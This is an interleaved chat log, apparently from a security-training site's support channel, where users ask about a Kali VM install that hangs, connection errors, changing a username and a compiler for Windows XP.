[bronze vale]

Which

[shrewd python]

Hey, Whenever i try and install kali on a vm it gets stuck on something like "unpacking python 2" what does this mean?

[bronze vale]

Have you tried 2?

[honest sparrow]

I already tried them all

literally

[bronze vale]

This is for site related support, please try #infosec-general

[shrewd python]

👍

[bronze vale]

Then it sounds like an issue with your device

Does your machine have an internet connection? Can you try connecting on your mobile?

If it connects on your mobile, we can rule out your ISP as the problem

[honest sparrow]

Internet is working fine

The only change I made recently was to my RAM. But even before that, there were days I was only able to connect at night for some reason

So, no one has any clue how to solve this issue?

[bronze vale]

^

If it’s an off/ on issue it sounds like there is an issue with your device.

Especially as the error is a connection error.

[honest sparrow]

This is the output from netcat when it tries to connect to the profile IP

I don't really understand why I keep receiving these TLS errors

thx anyway

[vague hull]

hello!
can you please suggest me a C/C++ compiler for xp?

[placid zenith]

Any way to change the username on THM? I used the Google sign in, which uses the full real name instead of offering a username

[broken bear]

for windows XP? use a modern OS first. That might pre-date Visual Studio

[vague hull]

yes, win xp. i'm learning bof and i wanted a little easier environment than win10.
thanks for the directions with visual studio, i'm looking into it rn
